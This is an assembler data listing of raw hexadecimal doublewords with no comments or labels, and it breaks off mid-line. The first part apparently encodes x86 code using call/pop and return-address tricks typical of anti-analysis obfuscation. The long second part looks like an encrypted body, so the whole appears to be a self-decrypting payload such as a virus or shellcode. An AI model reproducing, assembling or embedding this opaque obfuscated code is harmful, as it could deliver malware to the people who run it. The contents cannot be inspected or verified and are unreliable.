dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 9A2E821Eh dd 44357E45h, 7E80B6Ah, 2000000h, 5FEAB1ECh, 9D2B8C08h dd 9351BC1h, 0D0858D5Bh, 10938A9h, 350C99B5h, 59D2309h dd 50093533h, 489CC8Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 85261303h, 98B6F5DBh dd 4995FFF9h, 6A09351Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 5F3FC350h, 0EA1A8AF7h dd 0DD94400Ah, 0B58D40B6h, 938A9DAh, 68E0Fh, 0BD8B0000h dd 9352761h, 83BF6650h, 2434894Fh, 88FDB966h, 0D38B5090h dd 11E990h, 68C00000h, 3AF970EAh, 0F5B3A6CBh, 8DF97D91h dd 0FF177E17h, 352A8595h, 0FF60B609h, 1BD8BD0h, 8B09350Ch dd 38AA03B5h, 0C7FB8B09h, 38A9FB85h, 9, 0DDBD2900h, 80093517h dd 0F00207Eh, 2ED84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 40ACBC2Ah, 0B54E4366h dd 0CA816666h, 958B3284h, 9350359h, 3860F60h, 80000000h dd 468DB0C6h, 9DBD8920h, 89093503h, 38A9FF85h, 25958909h dd 0E909351Ch, 0Ah, 0F154B966h, 66DE8B40h, 3880D98Bh, 0F1850F00h dd 0BFFFFFFh, 350B7595h, 7DBD8909h, 0E909350Ah, 0Ch, 1171BD29h dd 66480935h, 6157D281h, 0F5C3880h, 5684h, 0B1958B00h dd 80093502h, 840F2F38h, 47h, 1EC99D8Bh, 853B0935h, 938A9FFh dd 0FFD0830Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 8D34ADC3h, 61B58924h, 0E9093511h dd 9, 65A665D7h, 60B981CFh, 40D38B58h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 59C35646h, 40CD0988h, 113A7FF1h dd 6018D8Bh, 8B600935h, 35332585h, 0F1BDBB09h, 83610E87h dd 38AA07BDh, 840F0009h, 93h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 7BC35141h, 7F6036EDh, 840F7093h dd 1Eh, 12E8h, 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh dd 30034DAh, 350C5195h, 8B505A09h, 240489F9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E7C35343h, 16C7A964h dd 0CAC1B62Fh, 0F98B66DBh, 0AA078503h, 5E80938h, 0B4000000h dd 0EDF65A21h, 0C65ACA8Bh, 0BF0F0000h, 0BBB58C9h, 50416FD1h dd 4850Fh, 57500000h, 4895B5Fh, 0B5858924h, 0FF093516h dd 38A9F3B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0B86C0DCFh, 0DCC98166h, 8166517Dh dd 5B7816D2h, 0A9F795FFh, 0E2810938h, 69846A15h, 0B97ED80h dd 80850FC0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0BFFFC352h, 1817DE5Ah dd 17519529h, 6A610935h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 5215C351h, 798589C6h dd 0E8093503h, 11h, 5F2A1719h, 407AA748h, 0C16A8824h, 0C9AC73B6h dd 4976B963h, 0C7597330h, 38A9FB85h, 109h, 3D8D3300h, 0E909352Dh dd 5Ah, 61DF8B66h, 58F0Fh, 54BF0000h, 816D9C62h, 11CC6h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0E8603CFFh, 14h, 0A6840162h, 406420A6h dd 4F3806Eh, 28FB8F8Eh, 6946BAE4h, 0E95FFFB1h, 0FFFFFD0Fh dd 3BD9D31h, 37680935h, 667BA479h, 3481CA8Bh, 0A4F93724h dd 50006A7Bh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 16BD2DB2h, 0DE945h, 0EB2D0000h, 0B3F12C3Ch dd 0B21E254Eh, 6A14573Bh, 0B8EB8000h, 0AA03B5FFh, 6A0938h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0B8CBC4C3h, 0FE144D2Ch, 0E933C244h, 7, 0FBFCCECBh, 8B5DF507h dd 0D995FFCFh, 3309352Bh, 3528159Dh, 0FB858B09h, 0B30938A9h dd 0DE890F4h, 0AA000000h, 0C2E5CF9h, 0CBC00574h, 151E3E94h dd 0C9BA505Bh, 90071BEFh, 14E9h, 75C11B00h, 0F40DC726h dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0B858DF3h, 8B0938AAh dd 350AA99Dh, 49958B09h, 9009351Fh, 0F78B6660h, 61616060h dd 0C5BF5061h, 901E33A3h, 439B01BFh, 0C8858D07h, 6A0938A9h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 663EC352h, 0D8DC281h, 19958957h, 59093508h dd 0FE890h, 0B5550000h, 0E64B91BBh, 98090D9Ah, 0C1A589BEh dd 0AFB4B9DFh, 505A721Fh, 90D38B66h, 95FFD9B5h, 9352A9Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 18C35646h dd 37490B41h, 4DF2588Eh, 1880Fh, 8BFC0000h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 95893F58h, 9350691h, 26A1BD83h, 75000935h, 79BD8309h dd 93530h, 53501374h, 0D0B8C08Bh, 8D000004h, 37B2739Dh dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 4D0B8h, 729D8D00h dd 0FF0937B1h, 0F585BD3h, 685h, 39B53100h, 8909350Eh, 35222D85h dd 0F8C08B09h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 9B9C5B55h, 0C234BB02h dd 85890008h, 9350F5Dh, 958BC08Bh, 93528D1h, 0AA3C858Dh dd 6A0938h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0A63B03C3h, 1CCB48E3h, 8D8BFEF8h, 9350F25h dd 0A20C51B9h, 25858918h, 0EB09351Fh, 0C0000039h, 0C002CC00h dd 0C002E400h, 0 dd 0F61F6D00h, 0EF13CBF5h, 0FE1B2FC4h, 0F51F5490h, 0FF58FCFDh dd 0D576A4FCh, 0D73A20C4h, 0D4027C90h, 0CF187CE0h, 0FA13FEF8h dd 721646F4h, 9B762380h, 0DCAFC275h, 83505408h, 458A6793h dd 56DC6620h, 26F5D91Bh, 9243AA31h, 187F3390h, 0AE465A2Dh dd 82029199h, 5BFD9BC0h, 9B72DD28h, 5AF3BB90h, 167F2CBAh dd 0ACC2B40Dh, 0C0A5B999h, 0E2CBA0C8h, 9B7FA4A0h, 0C826DFE4h dd 9B72DD28h, 5AF3BB90h, 167F2CBAh, 0ACC7AB0Dh, 0C0A5B999h dd 0CD7649C8h, 9B769278h, 5828E890h, 0BF02EDCEh, 0BF32B394h dd 9B760394h, 5820CA90h, 53C54D33h, 12994F5Ah, 0AE7A401Dh dd 10814299h, 10103650h, 1EB0686Eh, 92430E0Dh, 46FBA5C6h dd 0F37F738Bh, 84002495h, 9B76109Fh, 9FF7C890h, 0A9C729B4h dd 0F198B2EDh, 8D0BAC6Fh, 9B1C85A5h, 9B75AEC5h, 0C6562390h dd 0F7FFCC53h, 0DFF7CCB4h, 9B6F60B4h, 0CE333290h, 43292353h dd 10AD054Ch, 0AE5E1F05h, 0EBF3AE99h, 737FA9EBh, 9B76C896h dd 3D3A4381h, 919F3D2Eh, 21761990h, 0D06CF9BDh, 47155661h dd 0E477A3Ah, 9243B231h, 1EFF186Fh, 92434CA9h, 16FF36FAh dd 92432BC1h, 0CD00A8F8h, 0DDBCF97Eh, 9FF75B2Ch, 32EF4DB4h dd 0CE76A281h, 9B766778h, 582B1290h, 0BF1A90CDh, 0BF320D94h dd 9B765A94h, 58236690h, 244E27D4h, 825CC980h, 9B728C15h dd 999A3290h, 4EFC1990h, 108707C0h, 0CC7262D4h, 0C28CA8F6h dd 2510911Bh, 0DFFF7544h, 0F12E60B4h, 989E6290h, 0BB761990h dd 122E4FC8h, 1A7262D4h, 8C7207D4h, 0DB769190h, 0B13A0BC0h dd 889ED836h, 5E763290h, 0D63A7D4Ch, 102EE1A4h, 90F390B7h dd 3F3FE57Dh, 2EFDE3E2h, 9243EB61h, 0F1760ECEh, 989E6790h dd 0BB761990h, 122B4FCDh, 1A7262FCh, 837207D4h, 0DE769190h dd 7D4F0BC5h, 945BE4F8h, 9B763015h, 642C4F90h, 0CB76E640h dd 9B764578h, 582E0390h, 0BF3218C8h, 0BF324994h, 9B767094h dd 58267290h, 5A84987Ch, 10194351h, 0AE78931Dh, 0F8F3AA99h dd 0F17FA927h, 989E9A90h, 0BB766490h, 122CF1CAh, 1A723DC4h dd 8D72A8D4h, 0D9764690h, 1BBDE0C2h, 22C9F7E6h, 9E8E436Dh dd 9B76665Ch, 2C11B719h, 5BF510A8h, 0F0F30588h, 0A87F7E27h dd 999A9A50h, 31859190h, 7323C8FAh, 9B766493h, 0C6B56FB0h dd 9F527519h, 9F52C811h, 9B764685h, 0F7B576D5h, 0ECB1AFEh dd 0F17FFD9Eh, 989E3490h, 0BB763290h, 122EDAC8h, 1A72A8D4h dd 8F7262D4h, 0DB762390h, 107652C0h, 6F30E63h, 0D87F5187h dd 732332FAh, 9B761993h, 0C6B5D1B0h, 9F522A19h, 9F526711h dd 9B769187h, 0D5B59DD5h, 0F32F2435h, 85137BDCh, 89521D11h dd 64088EB2h, 0AE603B25h, 0C8764999h, 9B769278h, 582DE890h dd 0BF2AEDCBh, 0BF32B394h, 9B760594h, 5825CF90h, 0E56EFDE6h dd 18A5EB02h, 1EFB64EDh, 924EB3E0h, 9B766B78h, 15E6AF90h dd 9EF5C233h, 59C88FB5h, 90B79FE5h, 0C479FA10h, 9B1C416Fh dd 9B7520C0h, 0C3566490h, 0DFFF6A53h, 0DFF71DB4h, 9B6188B4h dd 0CB364690h, 0D6CE7153h, 86FB1858h, 0FD7FFD9Bh, 1EFF931Bh dd 92431025h, 0EAF39465h, 0AA7FB9A2h, 0AE79971Dh, 0AAF3AA99h dd 0F17FA493h, 989E9A90h, 0BB766490h, 122CF1CAh, 1A723DC4h dd 8D72A8D4h, 0D9764690h, 0ADEBE0C2h, 1A10F1C0h, 0B2526E51h dd 0AE59250Dh, 1EB05399h, 92430E0Dh, 0F2E3A5C3h, 0F37F73A2h dd 118FFF48h, 9B768379h, 0BF1B4090h, 403237h, 0A2A0619Ch dd 72B0947Eh, 1A2D6D6Ah, 0F7766294h, 26FD5227h, 9243B30Dh dd 8D0B7D6Fh, 9B1C6DA5h, 9B75DAC2h, 0C1561990h, 0CFFFD653h dd 0DFF742B4h, 9B6A27B4h, 0C9349190h, 0FF4FF453h, 8B96FC5Bh dd 60FD0928h, 0E0069C1Dh, 9B1C85A8h, 9B75AEC2h, 0C1562390h dd 0CFFFCB53h, 0DFF7CCB4h, 9B6E60B4h, 0C9343290h, 6FB0F753h dd 0E5FE846h, 92436955h, 2110F36Fh, 1EFFF25Bh, 9243C0B9h dd 9B75E29Fh, 6AF63290h, 6F3DF10h, 0C87FB987h, 9B75C59Fh dd 24792390h, 8C2AF941h, 53FD5603h, 0CC526011h, 0F14FB73Dh dd 989E4F90h, 0BB768C90h, 122885CEh, 1A7207E4h, 8F72B5D4h dd 0DD76C890h, 64E2A7C6h, 0AE604F25h, 50FD7F99h, 0E006091Dh dd 9B1C4FA8h, 9B75CBC0h, 0C3569190h, 0DFFF9053h, 0DFF760B4h dd 9B6336B4h, 0CB361990h, 0FD685D53h, 6453922Eh, 0CB764940h dd 9B769278h, 582EE890h, 0BF32EDC8h, 0BF32B394h, 9B760394h dd 5826CC90h, 455E435Ch, 9465A894h, 9B76911Fh, 8AF34190h dd 0C97F51BEh, 0BF2F871Bh, 5D2F10A5h, 0AE611115h, 9B1C0199h dd 9B75CBC5h, 0C6569190h, 0F7FF9553h, 0DFF760B4h, 9B6B36B4h dd 0CE331990h, 5DED2C53h, 0A748044Fh, 0B895CAA1h, 0AE72BC1Dh dd 0D2DBA099h, 2110CA90h, 0AFF78965h, 45E21DB4h, 0C876E689h dd 9B764578h, 582D0390h, 0BF2A18CBh, 0BF324994h, 9B767994h dd 58257190h, 2E092BC0h, 0FDEC05CDh, 16FD6C95h, 92432679h dd 8D0B246Fh, 16FDC1A5h, 92437495h, 0E006B71Dh, 9B1C10A8h dd 9B7564C7h, 0C4564690h, 0E7FF7C53h, 0DFF795B4h, 9B61CCB4h dd 0CC316490h, 0C84F1753h, 0F1A6E6BDh, 989EDC90h, 0BB764690h dd 122EE0C8h, 1A72B5D4h, 8372ECD4h, 0DB766490h, 1F95F1C0h dd 1A1B3EB8h, 16BD0941h, 72F3CFDEh, 0F17F169Ah, 989EC190h dd 0BB76C890h, 122EA7C8h, 1A7216D4h, 80723DD4h, 0DB768C90h dd 0A3FC85C0h, 94E25973h, 959E5760h, 5176C890h, 2D742873h dd 0E1722D2Eh, 0F5FB1F9Fh, 98F5837Bh, 0FD764690h, 5D2CF21Bh dd 0AE610C15h, 9B1C8F99h, 9B758CC0h, 0C3563290h, 0DFFF4153h dd 0DFF788B4h, 9B6342B4h, 0CB362390h, 735E3853h, 9B76C894h dd 1AAA74EAh, 0CBA7B9F6h, 9B761578h, 0C4CB2090h, 0F8922975h dd 7D5DEFC0h, 48FDF76Ah, 0BF3243C9h, 2A76EF94h, 0BF32BB23h dd 9B7BF094h, 0F95F8C90h, 6BB9A85Bh, 718C7B96h, 0C382BAFAh dd 7326C8FAh, 9B766493h, 0C3B56AB0h, 9F525D19h, 9F52C811h dd 9B76468Ch, 0FCB573D0h, 0E560D552h, 74EED890h, 9B767479h dd 2393EC90h, 0FA4D8D26h, 26FEC168h, 2F7B4113h, 0E6C3DCECh dd 0F17FA486h, 989E9A90h, 0BB766490h, 122CF1CAh, 1A723DC4h dd 8772A8D4h, 0D9764690h, 0D0A7E0C2h, 5551A236h, 21B334B0h dd 0C03D4A8Eh, 0E006B71Dh, 9B1C10A8h, 9B7564C7h, 0C4564690h dd 0E7FF7C53h, 0DFF795B4h, 9B62CCB4h, 0CC316490h, 4B89B053h dd 0B91F9C19h, 1EFF85A5h, 9243425Dh, 0D556AA2Eh, 6F357A8h dd 0DC7FFD87h, 732464FAh, 9B763293h, 0C1B543B0h, 9F52D819h dd 9F520211h, 9B76238Dh, 0F9B5C3D2h, 7557F7Dh, 0B8A0C953h dd 66F3333Dh, 0FD7F2CB7h, 1A436D11h, 0B91BB6F8h, 0FD254334h dd 732C6A1Bh, 9B76C883h, 12137473h, 57832662h, 0C3F5994Eh dd 85E92DC1h, 73264314h, 9B762384h, 0D95D095Ch, 4F122C02h dd 885D9A8h, 0A9B1A7F4h, 0F23BF24Ch, 1A17D5CEh, 551B6294h dd 1E5F253Ah, 924380F1h, 8D0B7D6Fh, 9B1C6DA5h, 9B75DAC6h dd 0C5561990h, 0EFFFD253h, 0DFF742B4h, 9B6B27B4h, 0CD309190h dd 9B9C5053h, 36F71F5Ch, 94D8CB2Ch, 929ED027h, 0D1768C90h dd 0F4B1EEE2h, 0F6CBB9E6h, 9B768279h, 4B0DD590h, 0AB273DD7h dd 27F08CCFh, 80F61FF8h, 8EF5E720h, 0EBF3CBC9h, 0F17F1BEBh dd 989EC090h, 0BB76C890h, 122FA7C9h, 1A7216DCh, 82723DD4h dd 0DA768C90h, 236F85C1h, 0A246B8EAh, 0B6C318C3h, 0C27FFDBBh dd 9B1CB46Fh, 9B75DAC7h dd 0C4561990h, 0E7FFD353h, 0DFF742B4h, 9B6027B4h, 0CC319190h dd 0F7E24953h, 9D3FE91Bh, 128A3BA5h, 0AE74C415h, 0C976E699h dd 9B764578h, 582C0390h, 0BF2218CAh, 0BF324994h, 9B767E94h dd 58247090h, 7410E6Ch, 64430147h, 0CB762C40h, 9B762078h dd 582EB190h, 0BF3241C8h, 0BF32E594h, 9B762794h, 58265990h dd 16FDC49Dh, 92435DBDh, 9B762D79h, 0B671F290h, 807AAB50h dd 24A0F53Ch, 12A6897Eh, 0AE52CC15h, 0CA76E699h, 9B764578h dd 582F0390h, 0BF3A18C9h, 0BF324994h, 9B767294h, 58277390h dd 0FD84B5B6h, 9B1C541Ch, 9B75AEC0h, 0C3562390h, 0DFFFC953h dd 0DFF7CCB4h, 9B6E60B4h, 0CB363290h, 0AF1DDA53h, 9F5241A3h dd 0BF1BD31Bh, 26FD2AA5h, 92439541h, 1F79089Ah, 9B766743h dd 732732FAh, 9B761993h, 0C2B5D5B0h, 9F520A19h, 9F526711h dd 9B76918Ah, 75B599D1h, 0C9A09E3Ch, 1EB0FAD9h, 92430E0Dh dd 9B7264DFh, 0F7B24690h, 73269C10h, 9B769195h, 0D65FBC2h dd 99FA6B01h, 11763290h, 0DFFD405Bh, 251088B4h, 9BFDED98h dd 12B8A8F6h, 7272B5D4h, 9B76C89Fh, 0B1F46670h, 3FB66A0Ch dd 6E0460EBh, 0C3221D4Ah, 977BF31Bh, 2E892AA5h, 924387EDh dd 7326C8FAh, 9B766493h, 0C3B56AB0h, 9F525D19h, 9F52C811h dd 9B764686h, 0EFB573D0h, 65FA015h, 9243C605h, 1EFBAF1Bh dd 924E49E0h, 732719FAh, 9B768C93h, 0C2B51FB0h, 9F526F19h dd 9F52D511h, 9B76C885h, 6BB535D1h, 12CBBB96h, 0FB7F2CA1h dd 0A9471919h, 959F4FA5h, 59762390h, 9A315916h, 2D34EF27h dd 0D7ED126Eh, 58CC53EAh, 640C7631h, 0CA76E640h, 9B764578h dd 582F0390h, 0BF3A18C9h, 0BF324994h, 9B767194h, 58277390h dd 6FFDDA7h, 9243BCD1h, 18BAB710h, 9B1C0750h, 9B7579C7h dd 0C456C890h, 0E7FF3B53h, 0DFF736B4h, 9B6E1DB4h, 0CC318C90h dd 0DF1E5C53h, 6FFCAA94h, 0B4130419h, 1EFFC1A5h, 9243684Dh dd 841FB719h, 1EFD10A5h, 9243A845h, 809FDB19h, 6FD2AA5h dd 9243934Dh, 7320C8FAh, 9B766493h, 0C5B56CB0h, 9F526D19h dd 9F52C811h, 9B764689h, 2BB575D6h, 2CA61A43h, 939F8BBCh dd 0C6766490h, 6282AD07h, 9462C226h, 80FD732Fh, 732046FAh dd 9B762393h, 0C5B5CFB0h, 9F52BC19h, 9F522011h, 9B763284h dd 39B54FD6h, 9B768979h, 567C6F90h, 1EFF4F53h, 9243949Dh dd 9B1CD31Bh, 9B758CC0h, 0C3563290h, 0DFFF4153h, 0DFF788B4h dd 9B6D42B4h, 0CB362390h, 16BFDF53h, 0BFFE4677h, 0F16DEF40h dd 989E6090h, 0BB761990h, 122C4FCAh, 1A7262C4h, 8E7207D4h dd 0D9769190h, 0FD90BC2h, 69EA9311h, 43454F26h, 0E6EB9069h dd 0FB7FB99Dh, 9B765478h, 0D1FCE490h, 0F260D808h, 0CFECFC8h dd 96223D70h, 0FD45BA83h, 549BC911h, 66E305CEh, 0FA7F7393h dd 8CEBA656h, 0F13198A5h, 989E9E90h, 0BB766490h, 1228F1CEh dd 1A723DE4h, 8272A8D4h, 0DD764690h, 5C6CE0C6h, 3A67E221h dd 9B7321F0h, 33666490h, 0FD9C05E5h, 7317CA1Bh, 9B768C94h dd 2CA89B39h, 0FB263922h, 13622BF6h, 9B74459Fh, 4CFD6490h dd 0BF32B9F1h, 851FA094h, 9BFDA48Ch, 0FC64F8F6h, 9F526719h dd 9B768278h, 75DB4390h, 5750BC69h, 30EE7E31h, 91B1C480h dd 0E7BFC3ABh, 0C2BCCDF6h, 0CC7649C8h, 9B769278h, 5829E890h dd 0BF0AEDCFh, 0BF32B394h, 9B760194h, 5821CB90h, 8F8FF4D4h dd 92CBAA9Ah, 947FA4B9h, 2E891A27h, 924372EDh, 0B02BAF99h dd 1EFB10A5h, 924EF7E0h, 732646FAh, 9B762393h, 0C3B5C9B0h dd 9F528C19h, 9F522011h, 9B76328Ch, 0C5B549D0h, 0DC7F6E4Eh dd 3DA479D8h, 9B70A79Fh, 1EFF9190h, 9243CCADh, 9B1CB46Fh dd 9B75DAC2h, 0C1561990h, 0CFFFD653h, 0DFF742B4h, 9B6C27B4h dd 0C9349190h, 0F5D28D53h, 4E19580Ch, 35938BF6h, 919F9C19h dd 8B9F85A5h, 90764690h, 9633A00Bh, 0A0F4DC6Ah, 5E73AB17h dd 0DBF8CAD1h, 9B1C321Bh, 9B75F1C6h, 0C5568C90h, 0EFFF1853h dd 0DFF727B4h, 9B6195B4h, 0CD30C890h, 4B450D53h, 94AFB33Fh dd 10238A5Eh, 0C876E690h, 9B764578h, 582D0390h, 0BF2A18CBh dd 0BF324994h, 9B767394h, 58257190h, 0AEA8220Bh, 128E07F6h dd 0AE7D7715h, 62FD4399h, 9B768179h, 0FC1E7B90h, 9DD358A2h dd 302F236Bh, 0BC1FD93h, 419FEDA8h, 0FD764690h, 16F30E2Ah dd 0A3C11815h, 10109899h, 0BF72ED5Eh, 732332FAh, 9B761993h dd 0C6B5D1B0h, 9F522A19h, 9F526711h, 9B769189h, 2FB59DD5h dd 45981C4Eh, 6ECBB962h, 647F2C8Dh, 0AE679505h, 0CB762C99h dd 9B762078h, 582EB190h, 0BF3241C8h, 0BF32E594h, 9B762894h dd 58265990h, 8E7FAC31h, 10305A29h, 0AE77B21Dh, 8AC31899h dd 167FFDA0h, 0A3C1EB0Dh, 0D1BFB399h, 0CB6520CDh, 128107F6h dd 0FD26628Ch, 9FFFF01Bh, 5AE31AB4h, 647FFD9Dh, 0AE5CE105h dd 1EEB3399h, 127F2CB6h, 0AE7A5115h, 0CB762C99h, 9B762078h dd 582EB190h, 0BF3241C8h, 0BF32E594h, 9B762894h, 58265990h dd 4EBB3091h, 7211DD4Fh, 9B762382h, 8D50D3A7h, 0F7053EE8h dd 45104176h, 0C9E373EAh, 1010A8D6h, 6F34A62h, 0C87F7387h dd 12A5A8F0h, 0AE7AC01Dh, 521EA999h, 0FBDF4867h, 9BF83DC3h dd 0C5761990h, 0C926DEC0h, 0C32C779Fh, 2210129Fh, 0C32CB3FDh dd 0BF4249F1h, 98DD1726h, 732132FAh, 9B761993h, 0C4B5D3B0h dd 9F523A19h, 9F526711h, 9B769187h, 32B59FD7h, 9472BDAEh dd 9B76341Eh, 0F6FB9090h, 107FB9B7h, 0AE640B25h, 0E6C3DC99h dd 0F17FA486h, 989E9A90h, 0BB766490h, 122CF1CAh, 1A723DC4h dd 8E72A8D4h, 0D9764690h, 0FEEBE0C2h, 9B769E79h, 12F1B990h dd 7DB024DCh, 0A4C274BFh, 54141CFEh, 0E006091Dh, 2EFD4FA8h dd 924307E5h, 2C79416Fh, 0CAF3415Eh, 0FB7F5181h, 963BA7A1h dd 5D1710A5h, 0AE611115h, 9B1C0199h, 9B75CBC7h, 0C4569190h dd 0E7FF9753h, 0DFF760B4h, 9B6336B4h, 0CC311990h, 0FD92BE53h dd 0C61AB111h, 52C797F8h, 9B64780Fh, 1561C890h, 999FDAE8h dd 3C23B61h, 1B0E6913h, 5291520Dh, 47524211h, 10778BF3h dd 0AE5AFC1Dh, 0E6C33799h, 0F17F5186h, 989E6390h, 0BB761990h dd 122F4FC9h, 1A7262DCh, 817207D4h, 0DA769190h, 0CD690BC1h dd 41E08E4Eh, 0DEE3BBE4h, 167F2CBBh, 0A30DFC15h, 96EB6F99h dd 647F168Bh, 55C8F740h, 12F34185h, 0F17F5192h, 989E6290h dd 0BB761990h, 122E4FC8h, 1A7262D4h, 827207D4h, 0DB769190h dd 85650BC0h, 0FB4B15C0h, 8CEBB756h, 0F12510A5h, 989EDF90h dd 0BB764690h, 122DE0CBh, 1A72B5CCh, 8672ECD4h, 0D8766490h dd 45D5F1C3h, 0B2AB33FDh, 9905F6Dh, 333F80F8h, 0C92643C4h dd 0AA79CEC0h, 0C32C91C6h, 9B766C78h, 6F4F9E90h, 764D39F3h dd 1A17D566h, 8EBC6294h, 9B1C6701h, 9B7579C0h, 0C356C890h dd 0DFFF3C53h, 0DFF736B4h, 9B601DB4h, 0CB368C90h, 0B28F1753h dd 9B73A79Fh, 0CECF9190h, 646F0C04h, 0AE601925h, 0CB765899h dd 9B761A78h, 582EAC90h, 0BF32CFC8h, 0BF32A294h, 9B768D94h dd 58268890h, 0F8F3DAECh, 0B077F13h, 9B7EF142h, 7A3B8C90h dd 0A5DB1DB4h, 7DF61D65h, 74F7CB79h, 81D6A733h, 0E006E11Dh dd 9B1C3BA8h, 9B75F1C6h, 0C5568C90h, 0EFFF1853h, 0DFF727B4h dd 9B6C95B4h, 0CD30C890h, 7A776D53h, 2F4968C0h, 0BF3B8CBBh dd 4B8985A5h, 732146FAh, 9B762393h, 0C4B5CEB0h, 9F52B419h dd 9F522011h, 9B76328Ch dd 59B54ED7h, 44E1116Bh, 7EB8147Dh, 9673A619h, 9B1C98A5h dd 9B7520C3h, 0C0566490h, 0C7FF6953h, 0DFF71DB4h, 9B6F88B4h dd 0C8354690h, 9F4B4E53h, 109EB530h, 6F30E63h, 0CC7F5187h dd 732632FAh, 9B761993h, 0C3B5D4B0h, 9F520219h, 9F526711h dd 9B769184h, 4DB598D0h, 3EFB6D69h, 0F37F0780h, 1A1C104Ch dd 1AA007F6h, 0D35C6294h, 19C42D0Ah, 8D0B246Fh, 9B1CC1A5h dd 9B758CC7h, 0C4563290h, 0E7FF4653h, 0DFF788B4h, 9B6142B4h dd 0CC312390h, 734A5653h, 16377DC9h, 0A30D1415h, 2E755299h dd 92433A75h, 0FDA673F1h, 2FBD9C11h, 0B5CFA619h, 55FD98A5h dd 861B5519h, 1EB06DA5h, 9243250Dh, 2CB098D3h, 0F35BD48Fh dd 3637F66Dh, 0AFF77DC0h, 4AB644B4h, 0CA76A281h, 9B766778h dd 582F1290h, 0BF3A90C9h, 0BF320D94h, 9B765294h, 58276290h dd 0E6C36EB3h, 0F17FFD86h, 989E3790h, 0BB763290h, 122DDACBh dd 1A72A8CCh, 8E7262D4h, 0D8762390h, 0E31C52C3h, 0FD8643F6h dd 0D7F79311h, 0E006B71Dh, 9B1C10A8h, 9B7564C6h, 0C5564690h dd 0EFFF7D53h, 0DFF795B4h, 9B6ECCB4h, 0CD306490h, 0EEF43D53h dd 10167109h, 0AE52B11Dh, 0FA6CF299h, 9B1CF36Fh, 9B7579C0h dd 0C356C890h, 0DFFF3C53h, 0DFF736B4h, 9B6F1DB4h, 0CB368C90h dd 0BC63F153h, 7243DFE0h, 9B76919Dh, 21F5922Ch, 0AD288C9Bh dd 0A871EB03h, 1AF39026h, 0FD7FB99Ch, 1647C229h, 0A3C15C15h dd 0CE76FB99h, 9B76CB78h, 582B4490h, 0BF1ABBCDh, 0BF329894h dd 9B769894h, 58230390h, 9BF22C09h, 0B769190h, 0C9269AC0h dd 94B8EFF6h, 9B70DBA1h, 2B191990h, 21C1B2CFh, 0AA791ECAh dd 0C4A7A8C6h, 2926C9CAh, 0E475835h, 9243400Dh, 8A6FA76Fh dd 4DFD10A5h, 9B1C541Bh, 9B75AEC3h, 0C0562390h, 0C7FFCA53h dd 0DFF7CCB4h, 9B6E60B4h, 0C8353290h, 0ABE9AA53h, 1E5F0EEDh dd 92434505h, 2C05A61Dh, 9B1C98A8h, 9B7520C0h, 0C3566490h dd 0DFFF6A53h, 0DFF71DB4h, 9B6188B4h, 0CB364690h, 9A6F0D53h dd 99FF9E01h, 1076C890h, 9FFF3458h, 0CD7658B4h, 9B761A78h dd 5828AC90h, 0BF02CFCEh, 0BF32A294h, 9B768C94h, 58208E90h dd 9603BA6Bh, 2EB24FBAh, 10246904h, 0AE747D25h, 9D9E1F99h dd 15762390h, 82C4B5E2h, 72F7AE2Dh, 82F09A8h, 0AA7960C0h dd 9B769E9Fh, 0C32C8C90h, 8A1CDC0h, 732723FAh, 9B769193h dd 0C2B591B0h, 9F522819h, 9F527611h, 9B761985h, 0D8B5DDD1h dd 1EE3B969h, 947F16BAh, 9B769711h, 0EAC3E190h, 127F51B7h dd 0AE524315h, 82E39299h, 947FB994h, 1EB1B12Fh, 92430B7Dh dd 9B76919Fh, 89C77D19h, 0E896DA5h, 924316E1h, 732519FAh dd 9B768C93h, 0C0B51DB0h, 9F527F19h, 9F52D511h, 9B76C88Bh dd 8EB537D3h, 5A7DEBAFh, 0A8A08AD5h, 0AE637925h, 66F3CF99h dd 727F1695h, 9B769199h, 5C56F7F6h, 0EB6D24C7h, 2EF3B9D0h dd 167F2CB2h, 0A3BC550Dh, 9A35CF99h, 0A9079E1Dh, 2EFB98A5h dd 924E0223h, 9B765729h, 70D2C190h, 9B76A1A3h, 5B7D8C90h dd 83B445E4h, 0BF32A890h, 9B9EC29Ch, 0C076C890h, 9B61A711h dd 0C7FF3290h, 0DFFF09B4h, 232D98B4h, 9BD6E6A7h, 0DFFDC36Fh dd 7B8995B4h, 7320C8FAh, 9B766493h, 0C5B56CB0h, 9F526D19h dd 9F52C811h, 9B764689h, 5BB575D6h, 2559FFD9h, 9B7E20C6h dd 46526490h, 0A3654FE3h, 10107462h, 9B1CD262h, 9B75AEC6h dd 0C5562390h, 0EFFFCF53h, 0DFF7CCB4h, 9B6160B4h, 0CD303290h dd 0DDD51253h, 6AFDEAF0h, 91BBDB99h, 10102AA5h, 9B1CF06Bh dd 9B7520C1h, 0C2566490h, 0D7FF6B53h, 0DFF71DB4h, 9B6B88B4h dd 0CA374690h, 7B7A5953h, 6534614h, 